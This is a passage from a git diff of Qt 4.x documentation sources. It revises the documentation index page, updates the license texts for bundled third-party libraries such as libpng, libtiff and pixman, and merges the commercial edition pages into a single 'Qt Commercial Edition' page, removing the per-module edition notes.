href="developing-with-qt.html">Cross-Platform Development with Qt</a></li> - <li><a href="qtestlib-manual.html">Unit Testing</a> and <a href="debug.html">Debugging</a></li> - <li><a href="deployment.html">Deploying Qt Applications</a></li> - </ul> - </td> - </tr> - <tr> - <th class="titleheader"> - Fundamentals</th> - <th class="titleheader"> - User Interface Design</th> - <th class="titleheader"> - Technologies</th> - </tr> - <tr> - <td valign="top"> - <ul> - <li><a href="object.html">The Qt Object Model</a></li> - <li><a href="eventsandfilters.html">Event System</a></li> - <li><a href="threads.html">Threading</a></li> - <li><a href="internationalization.html">Internationalization</a></li> - <li><a href="platform-specific.html">Platform Specifics</a></li> - </ul> - </td> - <td valign="top"> - <ul> - <li><a href="widgets-and-layouts.html">Widgets and Layouts</a></li> - <li><a href="application-windows.html">Application Windows</a></li> - <li><a href="paintsystem.html">Painting and Printing</a></li> - <li><a href="graphicsview.html">Canvas UI with Graphics View</a></li> - <li><a href="webintegration.html">Integrating Web Content</a></li> - </ul> - </td> - <td valign="top"> - <ul> - <li><a href="io.html">Input/Output</a> and <a href="resources.html">Resources</a></li> - <li><a href="network-programming.html">Network Programming</a></li> - <li><a href="sql-programming.html">SQL Development</a></li> - <li><a href="xml-processing.html">XML Processing</a></li> - <li><a href="scripting.html">Scripting</a></li> - </ul> - </td> - </tr> - <tr> - <th class="titleheader"> - Community and Resources</th> - <th class="titleheader"> - Contributing</th> - <th class="titleheader"> - Licenses</th> - </tr> - <tr> - <td valign="top"> - <ul> - <li><a href="http://qt.nokia.com/developer">Online Resources</a></li> - <li><a href="http://labs.qt.nokia.com/blogs">Developer Blogs</a></li> - <li><a href="http://qt.nokia.com/support-services">Support</a>, <a href="http://qt.nokia.com/services-partners">Training and Services</a></li> - </ul> - </td> - <td valign="top"> - <ul> - <li><a href="bughowto.html">Report Bugs and Make Suggestions</a></li> - <li><a href="http://qt.gitorious.org">Open Repository</a></li> - <li><a href="credits.html">Credits</a></li> - </ul> - </td> - <td valign="top"> - <ul> - <li><a href="gpl.html">GNU GPL</a>, <a href="lgpl.html">GNU LGPL</a></li> - <li><a href="commercialeditions.html">Commercial Editions</a></li> - <li><a href="licensing.html">Licenses Used in Qt</a></li> - </ul> - </td> - </tr> - </table> + <div class="indexbox" > + <div class="heading"> + Qt Developer Guide</div> + <div class="indexboxcont indexboxbar"> + <div class="section indexIcon"> + <img src="images/qt_guide.png" alt="" /></div> + <div class="section"> + <p>Qt is a cross-platform application and UI framework. Using Qt, you can write web-enabled applications once and deploy them across desktop, mobile and embedded operating systems without rewriting the source code.</p> + </div> + <div class="section sectionlist lastcol"> + <ul> + <li><a href="">Getting started</a></li> + <li><a href="installation.html">Installation & first steps</a></li> + <li><a href="how-to-learn-qt.html">How to learn Qt</a></li> + <li><a href="tutorials.html">Tutorials</a></li> + <li><a href="examples.html">Examples</a></li> + <li><a href="qt4-7-intro.html">Whats new in Qt 4.7</a></li> + </ul> + </div> + </div> + </div> + <div class="indexbox"> + <div class="heading"> + Qt API Overviews</div> + <div class="indexboxcont indexboxbar tricol"> + <div class="sectionlist"> + <ul> + <li><a href="modules.html">All modules</a></li> + <li><a href="classes.html">All classes</a></li> + <li><a href="namespaces.html">All namespaces</a></li> + <li><a href="functions.html">All functions</a></li> + <li><a href="platform-specific.html">Platform support & speciffics</a></li> + </ul> + </div> + <div class="sectionlist"> + <ul> + <li><a href="object.html">QObject model</a></li> + <li><a href="application-windows.html">Window architecture</a></li> + <li><a href="widgets-and-layouts.html">Styles & layout</a></li> + <li><a href="eventsandfilters.html">Event handling</a></li> + <li><a href="paintsystem.html">Paint system</a></li> + </ul> + </div> + <div class="lastcol"> + <ul> + <li><a href="graphicsview.html">Canvas UI with Graphics View</a></li> + <li><a href="declarativeui.html">UI design & Qt Quick</a></li> + <li><a href="io.html">Input/output</a></li> + <li><a href="webintegration.html">Integrating Web Content</a></li> + <li><a href="developing-with-qt.html">X-platform, debug & deploy</a></li> + </ul> + </div> + </div> + </div> + <div class="indexbox"> + <div class="heading"> + Qt Tools</div> + <div class="indexboxcont"> + <div class="section indexIcon"> + <img src="images/qt_tools.png" alt="" /></div> + <div class="section"> + <p>Qt offers a selection of development tools for different tasks. Use Qt Creator for + project and code management as well as building powerfull UIs.</p> + </div> + <div class="section sectionlist lastcol"> + <ul> + <li><a href="http://doc.qt.nokia.com/qtcreator-1.3/index.html">Qt Creator</a></li> + <li><a href="designer-manual.html">Qt Designer</a></li> + <li><a href="linguist-manual.html">Qt Linguist</a></li> + <li><a href="assistant-manual.html">Qt Assistant</a></li> + <li><a href="http://doc.qt.nokia.com/">Integration and add-ins</a></li> + <li><a href="qvfb.html">Virtual Framebuffer</a></li> + </ul> + </div> + </div> + </div> + \endraw */ diff --git a/doc/src/internationalization/i18n.qdoc b/doc/src/internationalization/i18n.qdoc index b26a983..d5f32e3 100644 --- a/doc/src/internationalization/i18n.qdoc +++ b/doc/src/internationalization/i18n.qdoc @@ -512,9 +512,6 @@ Note that some Windows programs do not understand big-endian Unicode text files even though that is the order prescribed by the Unicode Standard in the absence of higher-level protocols. - \o Unlike programs written with MFC or plain winlib, Qt programs - are portable between Windows 98 and Windows NT. - \e {You do not need different binaries to support Unicode.} \endlist \section2 Mac OS X @@ -732,7 +729,7 @@ \section1 Further Reading - \l{Qt Linguist Manual}, \l{Hello tr Example}, \l{Translation Rules for Plurals} + \l{Qt Linguist Manual}, \l{Hello tr() Example}, \l{Translation Rules for Plurals} */ /*! diff --git a/doc/src/legal/3rdparty.qdoc b/doc/src/legal/3rdparty.qdoc index b710449..8d0cd2a 100644 --- a/doc/src/legal/3rdparty.qdoc +++ b/doc/src/legal/3rdparty.qdoc @@ -116,9 +116,9 @@ \hr - Copyright (C) 2004,2007 Red Hat, Inc.\br - Copyright (C) 1998-2004 David Turner and Werner Lemberg\br - Copyright (C) 2006 Behdad Esfahbod\br + Copyright (C) 2004,2007 Red Hat, Inc.\br + Copyright (C) 1998-2004 David Turner and Werner Lemberg\br + Copyright (C) 2006 Behdad Esfahbod\br Copyright (C) 2008 Nokia Corporation and/or its subsidiary(-ies) This is part of HarfBuzz, an OpenType Layout engine library. @@ -137,7 +137,7 @@ THE COPYRIGHT HOLDER SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND - FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS + FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS ON AN "AS IS" BASIS, AND THE COPYRIGHT HOLDER HAS NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. @@ -146,7 +146,7 @@ See \c src/3rdparty/harfbuzz/COPYING.FTL and src/3rdparty/harfbuzz/COPYING.GPL for license details. - \section1 The Independent JPEG Group's JPEG Software (\c libjpeg) version 6b + \section1 The Independent JPEG Group's JPEG Software (\c libjpeg) version 8 \e{This package contains C software to implement JPEG image compression and decompression. JPEG (pronounced "jay-peg") is a standardized compression @@ -156,6 +156,12 @@ exactly identical to the input image.} -- quoted from \c src/3rdparty/libjpeg/README. + \hr + + This software is based in part on the work of the Independent JPEG Group. + + \hr + See \c src/3rdparty/libjpeg/README for license details. \section1 MD4 (\c md4.cpp and \c md4.h) @@ -192,13 +198,53 @@ See \c src/3rdparty/libmng/LICENSE for license details. - \section1 PNG Reference Library (\c libpng) version 1.2.29 + \section1 PNG Reference Library (\c libpng) version 1.4.0 \e{Libpng was written as a companion to the PNG specification, as a way of reducing the amount of time and effort it takes to support the PNG file format in application programs.} -- quoted from \c src/3rdparty/libpng/libpng.txt. + \hr + + copyright (C) 1999 by Willem van Schaik <willem@schaik.com> + + version 1.0 - 1999.10.15 - First version. + + Permission to use, copy, modify, and distribute this software and + its documentation for any purpose and without fee is hereby granted, + provided that the above copyright notice appear in all copies and + that both that copyright notice and this permission notice appear in + supporting documentation. This software is provided "as is" without + express or implied warranty. + + \hr + + Copyright (c) 1998-2001 Greg Roelofs. All rights reserved. + + This software is provided "as is," without warranty of any kind, + express or implied. In no event shall the author or contributors + be held liable for any damages arising in any way from the use of + this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute + it freely, subject to the following restrictions: + + 1. Redistributions of source code must retain the above copyright + notice, disclaimer, and this list of conditions. + 2. Redistributions in binary form must reproduce the above copyright + notice, disclaimer, and this list of conditions in the documenta- + tion and/or other materials provided with the distribution. + 3. All advertising materials mentioning features or use of this + software must display the following acknowledgment: + + This product includes software developed by Greg Roelofs + and contributors for the book, "PNG: The Definitive Guide," + published by O'Reilly and Associates. + + \hr + See \c src/3rdparty/libpng/LICENSE for license details. \section1 The ptmalloc memory allocator (\c ptmalloc3) version 1.8 @@ -259,11 +305,52 @@ \hr - Copyright (c) 1988-1997 Sam Leffler\br - Copyright (c) 1991-1997 Silicon Graphics, Inc.\br - Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>\br - Copyright (c) 1997 Greg Ward Larson + Copyright (c) 1987, 1993, 1994\br + The Regents of the University of California. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met:\br + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer.\br + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution.\br + 3. Neither the name of the University nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + + \hr + Copyright (C) 1988-1997 Sam Leffler\br + Copyright (C) 1991-1997 Silicon Graphics, Inc.\br + Copyright (c) Joris Van Damme <info@awaresystems.be>\br + Copyright (c) AWare Systems <http://www.awaresystems.be/>\br + Portions Copyright (C) 1985-1987, 1990 Regents of the University of California\br + Portions Copyright (C) 1990, 1991 Digital Equipment Corporation\br + Portions Copyright (C) 1990 Sun Microsystems, Inc.\br + Portions Copyright (C) 1990, 1995 Frank D. Cringle\br + Portions Copyright (C) 1996 BancTec AB\br + Portions Copyright (C) 1996 Mike Johnson\br + Portions Copyright (C) 1996 Pixar\br + Portions Copyright (C) 1997 Greg Ward Larson\br + Portions Copyright (C) 2000 Frank Warmerdam\br + Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>\br + Copyright (c( 1996 USAF Phillips Laboratory\br + Additions (c) Richard Nolde 2006-2009 + Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that (i) the above copyright notices and this permission notice appear in @@ -271,11 +358,11 @@ Sam Leffler and Silicon Graphics may not be used in any advertising or publicity relating to the software without the specific, prior written permission of Sam Leffler and Silicon Graphics. - + THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. - + IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, @@ -285,11 +372,30 @@ \hr - Copyright (c) 1996-1997 Sam Leffler\br - Copyright (c) 1996 Pixar\br - Copyright (c) 1991-1997 Silicon Graphics, Inc.\br - Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu> + Copyright (c) 1985, 1986 The Regents of the University of California.\br + All rights reserved. + + This code is derived from software contributed to Berkeley by + James A. Woods, derived from original work by Spencer Thomas + and Joseph Orost. + + Redistribution and use in source and binary forms are permitted + provided that the above copyright notice and this paragraph are + duplicated in all such forms and that any documentation, + advertising materials, and other materials related to such + distribution and use acknowledge that the software was developed + by the University of California, Berkeley. The name of the + University may not be used to endorse or promote products derived + from this software without specific prior written permission. + THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED + WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. + \hr + + Copyright (c) 1996-1997 Sam Leffler\br + Copyright (c) 1996 Pixar + Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that (i) the above copyright notices and this permission notice appear in @@ -297,11 +403,11 @@ Pixar, Sam Leffler and Silicon Graphics may not be used in any advertising or publicity relating to the software without the specific, prior written permission of Pixar, Sam Leffler and Silicon Graphics. - + THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. - + IN NO EVENT SHALL PIXAR, SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, @@ -311,28 +417,7 @@ \hr - Copyright (c) 1985, 1986 The Regents of the University of California.\br - All rights reserved. - - This code is derived from software contributed to Berkeley by - James A. Woods, derived from original work by Spencer Thomas - and Joseph Orost. - - Redistribution and use in source and binary forms are permitted - provided that the above copyright notice and this paragraph are - duplicated in all such forms and that any documentation, - advertising materials, and other materials related to such - distribution and use acknowledge that the software was developed - by the University of California, Berkeley. The name of the - University may not be used to endorse or promote products derived - from this software without specific prior written permission. - THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR - IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED - WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. - - \hr - - See \c src/3rdparty/libtiff/COPYRIGHT for license details. + See \c src/3rdparty/libtiff/README for license details. \section1 Wintab API (\c wintab) @@ -364,9 +449,48 @@ documentation for such software. THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED - WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR LUCENT MAKES ANY + WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR LUCENT MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. See \c src/3rdparty/webkit/JavaScriptCore/wtf/dtoa.cpp for license details. + + \section1 Pixman (\c pixman) version 0.17.11 + + \e{pixman is a library that provides low-level pixel manipulation + features such as image compositing and trapezoid rasterization.} -- quoted + from \c src/3rdparty/pixman/README + + We are only using the pixman-arm-neon-asm.h and pixman-arm-neon-asm.S + source files which have the following copyright and license header: + + \hr + + Copyright © 2009 Nokia Corporation + + Permission is hereby granted, free of charge, to any person obtaining a + copy of this software and associated documentation files (the "Software"), + to deal in the Software without restriction, including without limitation + the rights to use, copy, modify, merge, publish, distribute, sublicense, + and/or sell copies of the Software, and to permit persons to whom the + Software is furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice (including the next + paragraph) shall be included in all copies or substantial portions of the + Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER + DEALINGS IN THE SOFTWARE. + + Author: Siarhei Siamashka (siarhei.siamashka@nokia.com) + + \hr + + See \c src/3rdparty/pixman/pixman-arm-neon-asm.h and + \c src/3rdparty/pixman/pixman-arm-neon-asm.S */ diff --git a/doc/src/legal/commercialeditions.qdoc b/doc/src/legal/commercialeditions.qdoc index 4e44376..dde8d69 100644 --- a/doc/src/legal/commercialeditions.qdoc +++ b/doc/src/legal/commercialeditions.qdoc @@ -40,61 +40,19 @@ ****************************************************************************/ /*! - \page commercialeditions.html - \title Qt Commercial Editions + \page commercialedition.html + \title Qt Commercial Edition \ingroup licensing \brief Information about the license and features of the Commercial Edition. - \keyword Qt Full Framework Edition - \keyword Qt GUI Framework Edition - - Two editions of Qt are available under a commercial license: - Qt GUI Framework Edition, and Qt Full Framework Edition. + Qt can be used to develop closed source software if you obtain a commercial + license. If you want to develop Free or Open Source software for release using a recognized Open Source license, you can use the \l{Open Source Versions of Qt}. The table below summarizes the differences between the two commercial editions: - \table 75% - \header \o{1,2} Features \o{2,1} Editions - \header \o Qt GUI Framework \o Qt Full Framework - \row \o \l{QtCore}{Qt Core classes (QtCore)} \o \bold{X} \o \bold{X} - \row \o \l{QtGui}{Qt GUI classes (QtGui)} \o \bold{(X)} \o \bold{X} - \row \o \l{Graphics View Classes} (part of QtGui) \o \o \bold{X} - \row \o \l{QtNetwork}{Networking (QtNetwork)} \o \o \bold{X} - \row \o \l{QtOpenGL}{OpenGL (QtOpenGL)} \o \o \bold{X} - \row \o \l{QtScript}{Scripting (QtScript)} \o \o \bold{X} - \row \o \l{QtScriptTools}{Script Debugging (QtScriptTools)}\o \o \bold{X} - \row \o \l{QtSql}{Database/SQL (QtSql)} \o \o \bold{X} - \row \o \l{QtSvg}{SVG (QtSvg)} \o \o \bold{X} - \row \o \l{QtWebKit}{WebKit integration (QtWebKit)} \o \o \bold{X} - \row \o \l{QtXml}{XML (QtXml)} \o \o \bold{X} - \row \o \l{QtXmlPatterns}{XQuery and XPath (QtXmlPatterns)}\o \o \bold{X} - \row \o \l{Qt3Support}{Qt 3 Support (Qt3Support)} \o \bold{(X)} \o \bold{X} - \row \o \l{QtHelp}{Help system (QtHelp)} \o \o \bold{X} - \row \o \l{QtDBus}{D-Bus IPC support (QtDBus)} \o \bold{X} \o \bold{X} - \row \o \l{QtDesigner}{\QD extension classes (QtDesigner)} \o \o \bold{X} - \row \o \l{QtTest}{Unit testing framework (QtTest)} \o \bold{X} \o \bold{X} - \row \o \l{QtUiTools}{Run-time form handling (QtUiTools)} \o \o \bold{X} - \row \o \l{Phonon Module}{Phonon Multimedia Framework} \o \o \bold{X} - \row \o \l{ActiveQt} \o \o \bold{<X>} - \endtable - - \bold{(X)} The Qt GUI Framework Edition contains selected classes from the QtGui and - Qt3Support modules corresponding to the functionality available in the Qt 3 Professional - Edition. - - \bold{<X>} The ActiveQt module is only available on Windows. - - Lists of the classes available in each edition are available on the - following pages: - - \list - \o \l{Qt GUI Framework Edition} - \o \l{Qt Full Framework Edition} - \endlist - Please see the \l{Supported Platforms}{list of supported platforms} for up-to-date information about the various platforms and compilers that Qt supports. @@ -103,36 +61,13 @@ \l{Qt Licensing Overview} and information on \l{Qt License Pricing} for commercial editions of Qt and other Qt-related products. - To purchase, please visit the \l{How to Order}{online order - form}. + To purchase, please visit the \l{How to Order}{online order form}. - For further information and assistance, please contact Qt - sales. + For further information and assistance, please contact Qt sales. Web: http://qt.nokia.com/contact. Phone, U.S. office (for North America): \bold{1-650-813-1676}. - Phone, Norway office (for the rest of the world): \bold{+47 21 60 - 48 00}. -*/ - -/*! - \page full-framework-edition-classes.html - \title Qt Full Framework Edition - \ingroup classlists - - \brief The list of Qt classes included in the Full Framework Edition. - - \generatelist{classesbyedition Desktop} -*/ - -/*! - \page gui-framework-edition-classes.html - \title Qt GUI Framework Edition - \ingroup classlists - - \brief The list of Qt classes included in the GUI Framework Edition. - - \generatelist{classesbyedition DesktopLight} + Phone, Norway office (for the rest of the world): \bold{+47 21 60 48 00}. */ diff --git a/doc/src/legal/editions.qdoc b/doc/src/legal/editions.qdoc index 4de77c1..c7e73f2 100644 --- a/doc/src/legal/editions.qdoc +++ b/doc/src/legal/editions.qdoc @@ -53,8 +53,8 @@ In terms of license conditions, there are two main forms of Qt: \list - \o The \l{Qt Commercial Editions} are the commercial - versions of \l{About Qt}{Qt}. + \o The \l{Qt Commercial Edition} is the commercial version of + \l{About Qt}{Qt} which can be used to create closed source software. \o The \l{Open Source Versions of Qt} are freely available for download. \endlist diff --git a/doc/src/legal/licenses.qdoc b/doc/src/legal/licenses.qdoc index 9e680a6..d1bf4cf 100644 --- a/doc/src/legal/licenses.qdoc +++ b/doc/src/legal/licenses.qdoc @@ -60,7 +60,7 @@ Qt contains some code that is not provided under the \l{GNU General Public License (GPL)}, \l{GNU Lesser General Public License (LGPL)} or the - \l{Qt Commercial Editions}{Qt Commercial License Agreement}, but rather under + \l{Qt Commercial Edition}{Qt Commercial License Agreement}, but rather under specific licenses from the original authors. Some pieces of code were developed by Nokia and others originated from third parties. This page lists the licenses used, names the authors, and links @@ -276,14 +276,14 @@ Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\br - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer.\br - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution.\br - * Neither the name of Research In Motion Limited nor the - names of its contributors may be used to endorse or promote products - derived from this software without specific prior written permission. + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer.\br + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution.\br + * Neither the name of Research In Motion Limited nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY Research In Motion Limited ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED diff --git a/doc/src/legal/opensourceedition.qdoc b/doc/src/legal/opensourceedition.qdoc index c199e34..d95e107 100644 --- a/doc/src/legal/opensourceedition.qdoc +++ b/doc/src/legal/opensourceedition.qdoc @@ -87,5 +87,4 @@ If you are in doubt what edition of Qt is right for your project, please contact \l{mailto:qt-info@nokia.com}{qt-info@nokia.com}. - */ diff --git a/doc/src/legal/trademarks.qdoc b/doc/src/legal/trademarks.qdoc index a7b5764..23d0cf6 100644 --- a/doc/src/legal/trademarks.qdoc +++ b/doc/src/legal/trademarks.qdoc @@ -47,7 +47,7 @@ \brief Information about trademarks owned by Nokia and other organisations. Nokia, the Nokia logo, Qt, and the Qt logo are trademarks of Nokia - Corporation and/or its subsidiaries in Finland and other countries. + Corporation and/or its subsidiaries in Finland and other countries. \list \o Intel, Intel Inside (logos), MMX and Pentium are \reg trademarks of diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc index 2b749de..1ab1c00 100644 --- a/doc/src/modules.qdoc +++ b/doc/src/modules.qdoc @@ -65,6 +65,7 @@ \row \o \l{QtWebKit} \o Classes for displaying and editing Web content \row \o \l{QtXml} \o Classes for handling XML \row \o \l{QtXmlPatterns} \o An XQuery & XPath engine for XML and custom data models + \row \o \l{QtDeclarative} \o An engine for declaratively building fluid user interfaces. \row \o \l{Phonon Module}{Phonon} \o Multimedia framework classes \row \o \l{Qt3Support} \o Qt 3 compatibility classes \header \o {2,1} \bold{Modules for working with Qt's tools} @@ -108,8 +109,6 @@ definitions of the module's classes, use the following directive: \snippet doc/src/snippets/code/doc_src_qtcore.qdoc 0 - - The QtCore module is part of all \l{Qt editions}. */ @@ -127,13 +126,11 @@ following directive: \snippet doc/src/snippets/code/doc_src_qtgui.qdoc 0 - - The QtGui module is part of the \l{Qt GUI Framework Edition}, - the \l{Qt Full Framework Edition}, and the \l{Open Source Versions of Qt}. */ /*! \module QtMultimedia + \page qtmultimedia-module.html \title QtMultimedia Module \contentspage All Qt Modules \previouspage QtCore @@ -176,9 +173,6 @@ .pro file: \snippet doc/src/snippets/code/doc_src_qtnetwork.qdoc 0 - - The QtNetwork module is part of the \l{Qt Full Framework Edition} and the - \l{Open Source Versions of Qt}. */ /*! @@ -224,9 +218,9 @@ OpenGL module can take advantage of the whole Qt API for non-OpenGL-specific GUI functionality. - The QtOpenGL module is part of the \l{Qt Full Framework Edition} and the - \l{Open Source Versions of Qt}. It is available on Windows, X11, and Mac OS X. - \l{Qt for Embedded Linux and OpenGL} supports OpenGL ES (OpenGL for Embedded Systems). + The QtOpenGL module is available on Windows, X11 and Mac OS X. + \l{Qt for Embedded Linux and OpenGL} supports OpenGL ES (OpenGL for + Embedded Systems). \note To be able to use the OpenGL API in \l{Qt for Embedded Linux}, it must be integrated with the Q Window System (QWS). See the \l{Qt for Embedded Linux and OpenGL} documentation for details. @@ -303,8 +297,6 @@ QtScriptTools module provides additional Qt Script-related components that application developers may find useful. - \tableofcontents - To include the definitions of the module's classes, use the following directive: @@ -318,9 +310,6 @@ scriptable with QtScript, see \l{Making Applications Scriptable}. - The QtScript module is part of the \l{Qt Full Framework Edition} and the - \l{Open Source Versions of Qt}. - \section1 License Information Qt Commercial Edition licensees that wish to distribute applications that @@ -364,8 +353,6 @@ \brief The QtScriptTools module provides additional components for applications that use Qt Script. - \tableofcontents - \section1 Configuring the Build Process Applications that use the Qt Script Tools classes need to @@ -378,9 +365,6 @@ To link against the module, add this line to your \l qmake \c .pro file: \snippet doc/src/snippets/code/doc.src.qtscripttools.qdoc 1 - - The QtScriptTools module is part of the \l{Qt Full Framework Edition} and - the \l{Open Source Versions of Qt}. */ /*! @@ -401,9 +385,6 @@ \snippet doc/src/snippets/code/doc_src_qtsql.qdoc 1 - The QtSql module is part of the \l{Qt Full Framework Edition} and the - \l{Open Source Versions of Qt}. - See the \l{SQL Programming} guide for information about using this module in your applications. */ @@ -429,9 +410,6 @@ \snippet doc/src/snippets/code/doc_src_qtsvg.qdoc 1 - The QtSvg module is part of the \l{Qt Full Framework Edition} and the - \l{Open Source Versions of Qt}. - \section1 License Information Some code for arc handling in this module is derived from code with @@ -487,9 +465,6 @@ Further XML support is provided by the \l{Qt Solutions} group who provide, for example, classes that support SOAP and MML with the Qt XML classes. - - This module is part of the \l{Qt Full Framework Edition} and the - \l{Open Source Versions of Qt}. */ /*! @@ -514,15 +489,13 @@ \snippet doc/src/snippets/code/doc_src_qtxmlpatterns.qdoc 1 - This module is part of the \l{Qt Full Framework Edition} and the - \l{Open Source Versions of Qt}. - - \section1 Further Links + \section1 Further Reading General overviews of XQuery and XSchema can be found in the \l{Using XML Technologies} document. - An introduction to the XQuery language can be found in \l{A Short Path to XQuery}. + An introduction to the XQuery language can be found in + \l{A Short Path to XQuery}. \section1 License Information @@ -600,9 +573,6 @@ \snippet doc/src/snippets/code/doc_src_phonon.qdoc 1 - The Phonon module is part of the \l{Qt Full Framework Edition} and the - \l{Open Source Versions of Qt}. - \section1 Qt Backends Qt Backends are currently developed for Phonon version 4.1. The Phonon @@ -678,12 +648,6 @@ diverse parts of the Qt 3 API, it has dependencies on the QtCore, QtGui, QtNetwork, QtSql, and QtXml modules. - This module is part of the \l{Qt Full Framework Edition} and the - \l{Open Source Versions of Qt}. Most classes offered by this module are - also part of the \l{Qt GUI Framework Edition}. - Classes that are not available for \l{Qt GUI Framework Edition} - users are marked as such in the class documentation. - \sa {Porting to Qt 4} */ @@ -711,10 +675,6 @@ file: \snippet doc/src/snippets/code/doc_src_qtdesigner.qdoc 1 - - \note These classes are part of the \l{Open Source Versions of Qt} and - \l{Qt Commercial Editions}{Qt Full Framework Edition} for commercial - users. */ /*! @@ -751,10 +711,6 @@ \snippet doc/src/snippets/code/doc_src_qtuiloader.qdoc 1 - \note These classes are part of the \l{Open Source Versions of Qt} and - \l{Qt Commercial Editions}{Qt Full Framework Edition} for commercial - users. - \sa{Calculator Builder Example}, {World Time Clock Builder Example} */ @@ -779,10 +735,6 @@ \snippet doc/src/snippets/code/doc_src_qthelp.qdoc 1 - These classes are part of the \l{Open Source Versions of Qt} and - \l{Qt Commercial Editions}{Qt Full Framework Edition} for commercial - users. - \section1 License Information The QtHelp module uses the CLucene indexing library to provide full-text @@ -868,7 +820,7 @@ The QAxContainer module is not covered by the \l{GNU General Public License (GPL)}, the \l{GNU Lesser General Public License (LGPL)}, or the - \l{Qt Commercial Editions}{Qt Commercial License}. Instead, it is distributed under + \l{Qt Commercial Edition}{Qt Commercial License}. Instead, it is distributed under the following license. \legalese @@ -920,7 +872,7 @@ The QAxContainer module is not covered by the \l{GNU General Public License (GPL)}, the \l{GNU Lesser General Public License (LGPL)}, or the - \l{Qt Commercial Editions}{Qt Commercial License}. Instead, it is distributed under + 